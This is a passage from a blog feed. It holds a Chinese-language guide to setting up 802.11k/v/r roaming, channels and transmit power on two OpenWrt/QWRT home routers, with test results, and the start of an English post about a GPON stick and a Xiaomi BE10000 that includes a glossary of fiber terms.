&lt;h5&gt;1.3 &lt;code&gt;rrm_beacon_report=&apos;1&apos;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;开启 &lt;strong&gt;Beacon Report&lt;/strong&gt; 支持.
Beacon Report 允许 AP 请求客户端报告它扫描到的 Beacon 信息. 也就是说, 客户端可以告诉 AP:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;我看到了哪些 AP&lt;/li&gt;
&lt;li&gt;它们的信号强度如何&lt;/li&gt;
&lt;li&gt;它们在哪些信道&lt;/li&gt;
&lt;li&gt;当前无线环境大概是什么样&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;简单理解:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Neighbor Report 是 AP 告诉客户端附近有什么；Beacon Report 是客户端反过来告诉 AP 它看到了什么.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;实际家庭网络里, &lt;code&gt;rrm_neighbor_report&lt;/code&gt; 的作用通常更直观；&lt;code&gt;rrm_beacon_report&lt;/code&gt; 属于辅助能力, 打开即可.&lt;/p&gt;
&lt;h4&gt;2. 802.11v: BSS Transition / 漫游引导&lt;/h4&gt;
&lt;p&gt;相关配置:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uci set wireless.ath0.ieee80211v=&apos;1&apos;
uci set wireless.ath0.time_advertisement=&apos;0&apos;
uci set wireless.ath0.wnm_sleep_mode=&apos;0&apos;
uci set wireless.ath0.bss_transition=&apos;1&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.1 &lt;code&gt;ieee80211v=&apos;1&apos;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;开启 &lt;strong&gt;802.11v Wireless Network Management&lt;/strong&gt;.
802.11v 的作用比较广, 其中和家庭 Wi-Fi 漫游最相关的是 &lt;strong&gt;BSS Transition Management&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;简单理解:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;802.11v 让 AP 可以向客户端提出“建议你切到另一个 AP”的请求.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;注意, 这只是建议, 不是强制. 客户端可以接受, 也可以拒绝. 比如客户端还连在主路由上, 但它已经走到从路由附近了. 此时 AP 可以通过 802.11v 通知它:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;你现在连这个 AP 信号已经一般了, 可以考虑切到旁边那个 AP.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;启用 802.11v 可以改善“黏 AP”的情况, 但不能保证所有设备都会听.&lt;/p&gt;
&lt;h5&gt;2.2 &lt;code&gt;bss_transition=&apos;1&apos;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;开启 &lt;strong&gt;BSS Transition Management&lt;/strong&gt;. 这是 802.11v 中最关键的漫游相关功能. 启用后, AP 可以向客户端发送 BSS Transition Management Request, 里面通常会带上推荐的目标 AP 列表.&lt;/p&gt;
&lt;p&gt;简单理解:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;ieee80211v&lt;/code&gt; 是打开 802.11v 总开关, &lt;code&gt;bss_transition&lt;/code&gt; 是打开真正用于漫游建议的功能.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;如果只开 &lt;code&gt;ieee80211v&lt;/code&gt;, 但不开 &lt;code&gt;bss_transition&lt;/code&gt;, 漫游引导效果可能不完整.&lt;/p&gt;
&lt;h5&gt;2.3 &lt;code&gt;time_advertisement=&apos;0&apos;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;关闭 &lt;strong&gt;时间通告&lt;/strong&gt;. 802.11v 里包含 Time Advertisement 功能, AP 可以向客户端广播时间信息. 家庭 Wi-Fi 漫游场景通常不需要 AP 给客户端提供时间同步, 所以这里设置为 &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;
&lt;h5&gt;2.4 &lt;code&gt;wnm_sleep_mode=&apos;0&apos;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;关闭 &lt;strong&gt;WNM Sleep Mode&lt;/strong&gt;. WNM Sleep Mode 是 802.11v 的一部分, 主要用于客户端省电. 客户端可以进入一种特殊睡眠状态, AP 帮它保留一些上下文.
家庭路由、多 AP 漫游场景一般不依赖这个功能, 而且部分设备兼容性可能一般, 所以这里关闭.&lt;/p&gt;
&lt;h4&gt;3. 802.11r: Fast Transition / 快速漫游&lt;/h4&gt;
&lt;p&gt;相关配置:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uci set wireless.ath0.ieee80211r=&apos;1&apos;
uci set wireless.ath0.mobility_domain=&apos;cafe&apos;
uci set wireless.ath0.reassociation_deadline=&apos;1000&apos;
uci set wireless.ath0.ft_over_ds=&apos;0&apos;
uci set wireless.ath0.ft_psk_generate_local=&apos;1&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;3.1 &lt;code&gt;ieee80211r=&apos;1&apos;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;开启 &lt;strong&gt;802.11r Fast BSS Transition&lt;/strong&gt;. 802.11r 的作用是缩短客户端从一个 AP 切换到另一个 AP 时的认证和重关联时间. 普通漫游时, 客户端切换 AP 可能需要重新完成一套认证流程. 802.11r 会提前准备好部分密钥派生流程, 让客户端切换时更快.&lt;/p&gt;
&lt;p&gt;它不会决定客户端什么时候漫游, 但当客户端决定要漫游时, 它可以让切换过程更快.&lt;/p&gt;
&lt;p&gt;适合场景:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;手机在房间之间移动&lt;/li&gt;
&lt;li&gt;语音通话&lt;/li&gt;
&lt;li&gt;视频会议&lt;/li&gt;
&lt;li&gt;游戏&lt;/li&gt;
&lt;li&gt;多 AP 同 SSID 环境&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;需要注意的是,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;大多数新设备支持 802.11r&lt;/li&gt;
&lt;li&gt;少数老旧或兼容性差的 IoT 设备可能不喜欢 802.11r&lt;/li&gt;
&lt;li&gt;如果遇到某些设备无法连接, 可以先怀疑 802.11r 兼容性&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;3.2 &lt;code&gt;mobility_domain=&apos;cafe&apos;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;设置 &lt;strong&gt;Mobility Domain&lt;/strong&gt;. Mobility Domain 是 802.11r 的漫游域标识. 只有处在同一个 Mobility Domain 里的 AP, 客户端才会把它们视为同一个快速漫游域.&lt;/p&gt;
&lt;p&gt;同一套 SSID 下, 所有要参与 802.11r 快速漫游的 AP, 都应该使用相同的 &lt;code&gt;mobility_domain&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;这里使用:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uci set wireless.ath0.mobility_domain=&apos;cafe&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;cafe&lt;/code&gt; 是一个 16-bit 十六进制值, 刚好是 4 个十六进制字符, 类似于 DEADBEAF 这种 Magic Number.
这个值可以自定义, 例如:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mobility_domain=&apos;1234&apos;
mobility_domain=&apos;abcd&apos;
mobility_domain=&apos;beef&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但需要注意,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;同一个漫游网络内必须一致&lt;/li&gt;
&lt;li&gt;不同独立网络可以不同&lt;/li&gt;
&lt;li&gt;必须是 4 位十六进制字符&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;3.3 &lt;code&gt;reassociation_deadline=&apos;1000&apos;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;设置 &lt;strong&gt;重关联截止时间&lt;/strong&gt;. 这个参数表示客户端执行 Fast Transition 重关联时, 允许的最大时间窗口. 单位通常按 TU 理解, 1 TU ≈ 1.024 ms. &lt;code&gt;1000&lt;/code&gt; 大约就是 1 秒左右.&lt;/p&gt;
&lt;p&gt;简单理解:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;客户端发起快速漫游后, 需要在这个时间窗口内完成重关联.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;家庭网络里设置 &lt;code&gt;1000&lt;/code&gt; 是比较常见、宽松、稳妥的选择. 太短可能导致部分设备来不及完成切换；太长一般也没有明显收益.&lt;/p&gt;
&lt;h5&gt;3.4 &lt;code&gt;ft_over_ds=&apos;0&apos;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;设置 802.11r 的 Fast Transition 方式. 802.11r 有两种常见方式:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;FT over the Air&lt;/li&gt;
&lt;li&gt;FT over DS
这里: 使用的是 FT over the Air:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;uci set wireless.ath0.ft_over_ds=&apos;0&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(关闭了 ft_over_ds, 也就是启用 FT over the Air).&lt;/p&gt;
&lt;h6&gt;FT over the Air&lt;/h6&gt;
&lt;p&gt;客户端直接和目标 AP 进行快速切换流程. 这是非专业环境里更常见、更直观的方式.&lt;/p&gt;
&lt;h6&gt;FT over DS&lt;/h6&gt;
&lt;p&gt;客户端通过当前连接的 AP, 经由分布式系统和目标 AP 交换信息. 联网设备先通过旧 AP 联系新 AP, 再完成切换. 实际家庭 OpenWRT/QWRT 多 AP 环境中, 它并不能提供明显的便利, 反而可能会出现设备兼容性问题.&lt;/p&gt;
&lt;h5&gt;3.5 &lt;code&gt;ft_psk_generate_local=&apos;1&apos;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;让本机根据 PSK 本地生成 802.11r 所需密钥. 在 WPA-PSK / SAE Mixed 这类家庭网络场景中, AP 可以根据 Wi-Fi 密码本地生成 Fast Transition 需要的密钥材料.&lt;/p&gt;
&lt;p&gt;家庭网络通常没有企业级认证服务器, 所以这个参数直接开启就行.
适用场景:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WPA2-PSK&lt;/li&gt;
&lt;li&gt;WPA2/WPA3 Mixed&lt;/li&gt;
&lt;li&gt;SAE mixed 视固件支持情况而定&lt;/li&gt;
&lt;li&gt;无 RADIUS 的普通家庭网络&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;4. NAS ID: 每个 BSS 的唯一身份&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;uci set wireless.ath0.nasid=&apos;Master_2_4G&apos;
uci set wireless.ath1.nasid=&apos;Master_5G&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;4.1 &lt;code&gt;nasid=&apos;Master_2_4G&apos;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;&lt;code&gt;nasid&lt;/code&gt; 是 NAS Identifier, 也就是当前 BSS 的身份标识. 在 802.11r 场景里, 它用于区分不同 AP / 不同 BSS. 每个参与漫游的无线接口都应该有唯一的 &lt;code&gt;nasid&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;例如主路由:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ath0 -&amp;gt; Master_2_4G
ath1 -&amp;gt; Master_5G
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从路由对应设置为:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2.4G -&amp;gt; Slave_2_4G
5G   -&amp;gt; Slave_5G
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;5. 为什么三个 ath 都要配置同一套参数？&lt;/h4&gt;
&lt;p&gt;因为 &lt;code&gt;ath0&lt;/code&gt;、&lt;code&gt;ath1&lt;/code&gt;、&lt;code&gt;ath2&lt;/code&gt; 分别是三个不同的无线 BSS, 即使它们广播同一个 SSID, 它们在系统里仍然是三个独立的无线接口, 所以 802.11k/v/r 参数需要分别写到每个接口上.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;这部分参数可以概括为:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;参数&lt;/th&gt;
&lt;th&gt;协议&lt;/th&gt;
&lt;th&gt;作用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ieee80211k&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;802.11k&lt;/td&gt;
&lt;td&gt;开启无线资源测量&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rrm_neighbor_report&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;802.11k&lt;/td&gt;
&lt;td&gt;允许 AP 提供邻居 AP 列表&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rrm_beacon_report&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;802.11k&lt;/td&gt;
&lt;td&gt;允许客户端上报扫描到的 Beacon 信息&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ieee80211v&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;802.11v&lt;/td&gt;
&lt;td&gt;开启无线网络管理能力&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;bss_transition&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;802.11v&lt;/td&gt;
&lt;td&gt;允许 AP 给客户端发送漫游建议&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;time_advertisement&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;802.11v&lt;/td&gt;
&lt;td&gt;时间通告, 家庭漫游场景通常关闭&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wnm_sleep_mode&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;802.11v&lt;/td&gt;
&lt;td&gt;WNM 省电模式, 家庭漫游场景通常关闭&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ieee80211r&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;802.11r&lt;/td&gt;
&lt;td&gt;开启快速漫游&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;nasid&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;802.11r / hostapd&lt;/td&gt;
&lt;td&gt;标识当前 BSS, 建议唯一&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;mobility_domain&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;802.11r&lt;/td&gt;
&lt;td&gt;设置快速漫游域, 所有 AP 保持一致&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;reassociation_deadline&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;802.11r&lt;/td&gt;
&lt;td&gt;设置快速重关联时间窗口&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ft_over_ds&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;802.11r&lt;/td&gt;
&lt;td&gt;选择 FT 方式, &lt;code&gt;0&lt;/code&gt; 表示 FT over the Air&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ft_psk_generate_local&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;802.11r&lt;/td&gt;
&lt;td&gt;根据 PSK 本地生成 FT 密钥&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;从路由&lt;/h3&gt;
&lt;p&gt;直接在 LuCI 启用对应配置即可, 可以参考我的配置:&lt;br /&gt;
&lt;img src=&quot;./images/2026/07/2347885645.png&quot; alt=&quot;Pasted image 20260708105809.png&quot; /&gt;&lt;br /&gt;
三个无线接口都得做同样的设置, 同时保证 NAS ID 不同.&lt;/p&gt;
&lt;p&gt;记得保证两边的加密方式完全相同, 802.11r 只负责减少漫游时重新认证的时间，但它要求参与同一个漫游域的 AP 在 SSID、密码、加密方式、Mobility Domain 等关键参数上保持一致。&lt;/p&gt;
&lt;p&gt;如果主路由和从路由一个使用 WPA2-PSK，另一个使用 WPA2/WPA3 Mixed，或者一边启用了 SAE/FT-SAE，另一边只启用了 FT-PSK，客户端在漫游时可能无法使用同一套 Fast Transition 流程，表现为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;漫游时 Wi-Fi 图标短暂断开；&lt;/li&gt;
&lt;li&gt;切换后重新进行 4-Way Handshake；&lt;/li&gt;
&lt;li&gt;语音 / 视频通话卡顿；&lt;/li&gt;
&lt;li&gt;某些 IoT 设备无法连接。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;因此，如果目标是优先保证全屋漫游稳定，建议参与同一个 SSID 漫游的 AP 统一使用：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;WPA2-PSK / AES-CCMP / FT-PSK
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是 OpenWrt/QWRT 中常见的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;encryption=&apos;psk2+ccmp&apos;
ieee80211r=&apos;1&apos;
ft_psk_generate_local=&apos;1&apos;
ft_over_ds=&apos;0&apos;
mobility_domain=&apos;cafe&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;WPA3/SAE 可以单独拆一个 SSID 给新设备使用，而不要和 IoT / 全屋漫游主 SSID 混在一起。&lt;/p&gt;
&lt;h2&gt;频段分析&lt;/h2&gt;
&lt;p&gt;我家里的网络环境比较复杂, 其中主路由位于客厅正中央, 客厅与厨房和阳台直接连通, 因此主路由的信号可以直接覆盖到这部分; 从路由位于书房, 左右和两个卧室相邻. 书房和客厅由一个很短的走廊连接, 房间 A 与客厅之间间隔卫生间:
&lt;img src=&quot;./images/2026/07/3557868203.png&quot; alt=&quot;Pasted image 20260708082010.png&quot; /&gt;
其中两个星号分别是 主路由(客厅) 和 从路由(书房).&lt;/p&gt;
&lt;p&gt;在各个房间的频段采集结果如下:&lt;br /&gt;
&lt;img src=&quot;./images/2026/07/4257895818.png&quot; alt=&quot;Pasted image 20260708084918.png&quot; /&gt;
主卧&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2026/07/44352545.png&quot; alt=&quot;Pasted image 20260708085100.png&quot; /&gt;
书房 (这里的红色高峰是由从路由发出的)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2026/07/2475544166.png&quot; alt=&quot;Pasted image 20260708085258.png&quot; /&gt;
次卧&lt;/p&gt;
&lt;p&gt;可以发现, 主卧的信道还算干净, 书房因为从路由所在所以信号足够强, 而次卧由于干扰严重, 加上信号没那么强, 并且目前我们的两个 AP (两个信号最强的红色的 WiFi) 信道全都挤在一起, 导致实际测速只能达到 80Mbps 左右.&lt;/p&gt;
&lt;p&gt;因此, 接下来需要对信道和功率做一些小调整, 并且要配置 802.11 k/v/r.&lt;/p&gt;
&lt;h2&gt;调优功率和信道&lt;/h2&gt;
&lt;p&gt;其实主要就是为了将信道区分开, 同时调整覆盖范围, 尝试改善客户端粘在某个接入点的情况.
这部分配置参考了 AI 的建议, 下面整理一下各项参数的作用. 具体数值还是得结合房间布局、周边干扰和客户端表现调整.&lt;/p&gt;
&lt;h3&gt;1. 信道策略 (Channel): 减少两个 AP 之间的干扰&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2.4G 频段 (主 1 / 从 11):&lt;/strong&gt; 在这里使用的 20MHz 频宽下, 两个 AP 分开使用信道 1 和 11, 可以减少彼此的信道重叠. 常见的 1/6/11 规划也基于这种思路, 但不意味着没有邻居 Wi-Fi、蓝牙等其他干扰.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;5G 频段 (主 36 / 从 52):&lt;/strong&gt; 按这组设置, 两个 AP 使用不同的 80MHz 信道块. 52 属于 DFS 信道, 是否可用取决于地区和设备支持, 检测到雷达时也可能需要换信道.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这样做主要是减少自家两个 AP 的竞争, 不能保证底噪最低或吞吐量最大. 配置后仍需要检查实际工作信道和房间内的表现.&lt;/p&gt;
&lt;h3&gt;2. 频宽策略 (Bandwidth): 按干扰和速度需求取舍&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2.4G 采用 20MHz:&lt;/strong&gt; 相比 40MHz 占用更少的频谱, 在我家这种较拥挤的环境里更适合作为覆盖和 IoT 设备使用的频段. 它不直接保证更远的覆盖或更少的断流.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;5G 采用 80MHz:&lt;/strong&gt; 用作主要上网频段, 在速度和频谱占用之间取一个折中. 如果周围干扰较多, 也可以尝试降低频宽再比较实测结果.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. 功率策略 (Tx Power): 调整覆盖范围&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2.4G 设置为 18 dBm / 20 dBm:&lt;/strong&gt; 尝试缩小过度重叠的覆盖区域, 减少客户端一直连接远处 AP 的机会. 降得太低也可能出现覆盖空洞, 所以需要边走动边测试.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;5G 设置为 24 dBm / 23 dBm:&lt;/strong&gt; 希望保留房间内的高速覆盖. 实际发射功率仍受设备与地区限制, 而且 AP 发射功率增大不代表手机的回传能力也会提高.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这些设置可能影响客户端的频段和 AP 选择, 但不等同于启用了专门的 Band Steering 机制, 也不能强制手机优先连接 5G.&lt;/p&gt;
&lt;h3&gt;4. 漫游配合 (Roaming)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;11k (邻居报告) + 11v (BSS 转换管理):&lt;/strong&gt; 为支持的客户端提供候选 AP 信息与切换建议. 是否发送建议取决于 AP 的实现和配置, 是否接受仍由客户端决定.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;11r (快速转换):&lt;/strong&gt; 在 SSID、加密方式和漫游域等配置匹配时, 减少切换 AP 所需的密钥协商开销. 普通漫游本来也不需要重新输入密码, 11r 优化的是认证过程, 不能仅凭打开开关就认定切换期间没有丢包或业务中断.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;配置与说明初稿参考 Gemini, 实际表现见下方测试记录.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;最终的频段, 频宽, 功率的配置是:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;主路由 192.168.3.1
&lt;ul&gt;
&lt;li&gt;2.4G: channel 1 / 20 MHz / 18 dBm&lt;/li&gt;
&lt;li&gt;5G: channel 36 / 80 MHz / 24 dBm&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;从路由 192.168.3.2
&lt;ul&gt;
&lt;li&gt;2.4G: channel 11 / 20 MHz / 20 dBm&lt;/li&gt;
&lt;li&gt;5G: channel 52 / 80 MHz / 23 dBm&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;效果 &amp;amp; 后续&lt;/h2&gt;
&lt;p&gt;最终经过测试, 在客厅, 阳台, 厨房, 卫生间中都是默认连接到主路由, 在次卧中会自动切换到从路由连接, 在书房中关上门也会从主路由切换到从路由. 从信号强度下降到实际切换大概需要 5s 左右. 主卧不能确定, 有的时候会切换有的时候不确定, 但是在 5 次测试中有 3 次都切换了.&lt;/p&gt;
&lt;p&gt;这里的 5s 是从信号下降到观察到切换的时间, 不代表网络中断了 5s. 这份记录没有给出切换时的丢包和认证耗时, 因此还不能据此判断是否达到了无缝漫游.&lt;/p&gt;
&lt;p&gt;插 5Gbps 网口之后测速:&lt;br /&gt;
&lt;img src=&quot;./images/2026/07/1200252525.png&quot; alt=&quot;950c5d4f29c767feff2e3e9ac9b140a9.png&quot; /&gt;
实际测速下行速率能跑到 1336.31 Mbps, 上行速率能跑到 158.16 Mbps. 应该是成功了 (?&lt;br /&gt;
但是实际使用体感不算太大, 因为当时测试了很多平台, 很少有平台能够跑满的, 加上现在的一些运营商策略比如 QoS 什么的, 速度很难跑满. 不过如果有 IDM 之类的多线程下载工具应该能发挥更大的作用?&lt;/p&gt;
</content:encoded></item><item><title>Home Network Upgrade – GPON Stick + 802.11k/v/r Roaming</title><link>https://blog.iyoroy.cn/posts/en-305/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-305/</guid><description>Upgrading a home network with a GPON stick and Xiaomi BE10000, configuring VLANs, PPPoE, and 802.11k/v/r, then tuning channels and power and checking speed and roaming behavior.</description><pubDate>Sat, 11 Jul 2026 00:37:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;The beginning of the article explains the process of configuring a GPON stick and BE10000 PPPoE. If you only need to look up 802.11k/v/r related content, you can jump directly to the &quot;Configuring 802.11 k/v/r&quot; section.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The reason this all started was that during the May Day holiday I picked up a Xiaomi BE10000 locally in Harbin. I wanted to try using a GPON stick to see if I could push my home gigabit connection past 1 Gbps (cc: &lt;a href=&quot;https://milu.ink/600.html&quot;&gt;浙江移动烽火光猫获取超密 + G-010S-A 猫棒上网 – 米露小窝&lt;/a&gt;). Moreover, since I use mesh-style tools like EasyTier and need features like Wake-on-LAN, and my existing Xiaomi AX3600 at home is already flashed with ImmortalWRT, I was hoping to also flash a WRT-based system. Then perhaps I could use 802.11 k/v/r for automatic switching, achieving a sort of manual mesh effect. After searching around, it seemed only the BE10000 met my requirements: it has an SFP+ cage and can be flashed with QWRT. I brought it home over the summer vacation — time to tinker with it()&lt;/p&gt;
&lt;p&gt;&lt;em&gt;And while I was at school I even fixed the only minor imperfection: the NFC tap-to-connect feature (ref: &lt;a href=&quot;https://blog.iyoroy.cn/en/archives/278/&quot;&gt;Adapting NFC Functionality for QWRT on Xiaomi BE10000 Router - iYoRoy&apos;s Develop Diary&lt;/a&gt;). This machine is now truly complete (nod)&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Terminology&lt;/h2&gt;
&lt;h3&gt;1. Broadband &amp;amp; Optical Communication (Fiber &amp;amp; PON)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;Abbreviation&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Full Name&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Description / Notes&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;FTTH&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Fiber To The Home&lt;/td&gt;
&lt;td&gt;Fiber to the home.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PON&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Passive Optical Network&lt;/td&gt;
&lt;td&gt;Passive optical network. Mainstream technology for home broadband access.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GPON&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Gigabit-Capable PON&lt;/td&gt;
&lt;td&gt;Gigabit-capable passive optical network. Our GPON stick is based on this standard.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OLT&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Optical Line Terminal&lt;/td&gt;
&lt;td&gt;Optical line terminal. The carrier&apos;s central office equipment, responsible for distributing optical signals downstream.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ONU&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Optical Network Unit&lt;/td&gt;
&lt;td&gt;Optical network unit. Customer premises equipment such as an ONT or GPON stick.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;UPC&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Ultra Physical Contact&lt;/td&gt;
&lt;td&gt;Ultra physical contact. A common fiber connector type (usually blue end face).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;APC&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Angled Physical Contact&lt;/td&gt;
&lt;td&gt;Angled physical contact. A common fiber connector type (usually green end face, with an 8-degree angle).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;LOID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Logical ONU ID&lt;/td&gt;
&lt;td&gt;Logical ONU identifier. A string used by the carrier to authenticate the ONU.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PLOAM&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Physical Layer OAM&lt;/td&gt;
&lt;td&gt;Physical Layer Operations, Administration and Maintenance. Also a password system used for ONU authentication.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SN&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Serial Number&lt;/td&gt;
&lt;td&gt;Serial number. The unique factory number of the hardware device, often used for ONU registration.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
